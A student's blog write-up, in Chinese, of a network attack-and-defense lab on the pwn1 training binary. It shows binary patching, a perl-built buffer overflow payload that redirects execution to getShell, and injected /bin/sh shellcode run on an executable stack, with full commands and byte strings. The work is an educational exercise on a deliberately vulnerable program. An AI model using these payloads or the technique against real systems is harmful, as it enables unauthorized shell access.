20253914 2024-2025-2 《网络攻防实践》第9周作业

一、实践内容

本次实验以 Linux 下 pwn1 可执行文件为对象,程序常规仅执行回显输入的 foo 函数,目标是调用默认未运行的 getShell 函数,还需实现自定义 Shellcode 注入运行。
实验包含三项内容:

  • 手动修改可执行文件跳转至目标函数
  • 借助缓冲区溢出漏洞构造载荷触发函数
  • 编写并注入运行 Shellcode。

实验需掌握 NOP、JMP 等汇编指令机器码,熟练使用反汇编与十六进制编辑工具,具备修改指令、构造溢出攻击载荷的能力。

二、实践过程

  1. 改主机名
    用到的命令如下:
    └─$ sudo su
    └─# hostname zhangrunze
    └─# echo "127.0.0.1 localhost zhangrunze" >> /etc/hosts
    └─# echo "::1 localhost zhangrunze" >> /etc/hosts
    image
  2. 改文件名:下载pwn1改成20253914

(一)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  1. 使用objdump进行反汇编分析:objdump -d p20253914 | more
    image
    image
    其中main函数在080484af,getShell函数在0804847d
    想直接调用,就把main函数中call的8048491改成0804847d即可
  2. 改文件
    输入命令vim z20253914
    image
    使用命令:%!xxd将其转化为十六进制,知道000004b0行,将d7ff改为c3ff,输入:%!xxd -r恢复原格式,输入:wq保存并退出
    image
    重新反编译发现已修改成功,直接跳转到getShell函数
    image

(二)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  1. 分析foo函数
    缓冲区起始地址:%ebp - 0x1c(栈上 ebp 下方 0x1c 字节处)
    返回地址的位置:%ebp + 4(栈上 ebp 上方 4 字节处)
    两者相差 0x20(32 字节),这是缓冲区溢出攻击中覆盖返回地址需要填充的字节数。
    image
    7.依据上述分析覆盖返回地址,触发getShell函数
  • 根据32字节进行溢出操作perl -e 'print "88888888888888888888888888888888\x7d\x84\x04\x08\x0a"' > 20253914zrz_input
  • 进行注入操作xxd 20253914zrz_input,(cat 20253914zrz_input; cat) | ./20253914p
  • 验证成功
    image

(三)注入一个自己制作的shellcode并运行这段shellcode

  1. 下载并解压execstack
    wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
    sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb
    image
  2. 设置20253914p程序堆栈可执行
    execstack -s 20253914p
    execstack -q 20253914p
    image

10.使用输出重定向将perl生成的字符串存储到input_20253914文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20253914
文件payload完成初始注入,终端stdin接管后续输入。终端2查看20253914p进程号41992
终端1 (cat input_20253914;cat) | ./20253914p
终端2 ps -ef | grep 20253914p
image

  1. 终端3 进行gdb调试并在ret处设置断点
  • gdb 20253914p
  • attach 41992
  • disassemble foo
  • break *0x080484ae
    终端1 (cat input_20253914;cat) | ./20253914p 按回车后,在终端3输入c继续运行。栈顶指针所在的位置为0xffffd2fc,0xf7f98760为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4 = 0xffffd300
    image
  1. 根据以上shellcode地址进行修改:perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_20253914,通过whoami验证
    image

三、学习中遇到的问题及解决

问题1:在运行gdb时总报错:
(gdb) c
❌️ The program is not being run.
(gdb) info r esp
❌️ The program has no registers now.
(gdb)
问题1解决方案:
以下指令要逐个执行,不能一次性执行,而且要在终端1,按回车后,再运行c

  • gdb 20253914p
  • attach 41992
  • disassemble foo
  • break *0x080484ae

四、实践总结

这次实验我顺利完成了全部任务,核心就是攻破 pwn1 可执行文件,把原本不运行的 getShell 函数调起来,还成功实现了自定义 Shellcode 的注入运行。实验主要做了三件事:一是手动改可执行文件,直接让程序跳转到目标函数;二是利用缓冲区溢出漏洞,自己构造攻击载荷触发 getShell;三是编写专属 Shellcode 并注入让程序执行。通过这次实验,把 PWN 基础的漏洞利用和文件修改技能都练扎实了。

posted @ 2026-05-25 20:15  你泽哥  阅读(13)  评论(0)    收藏  举报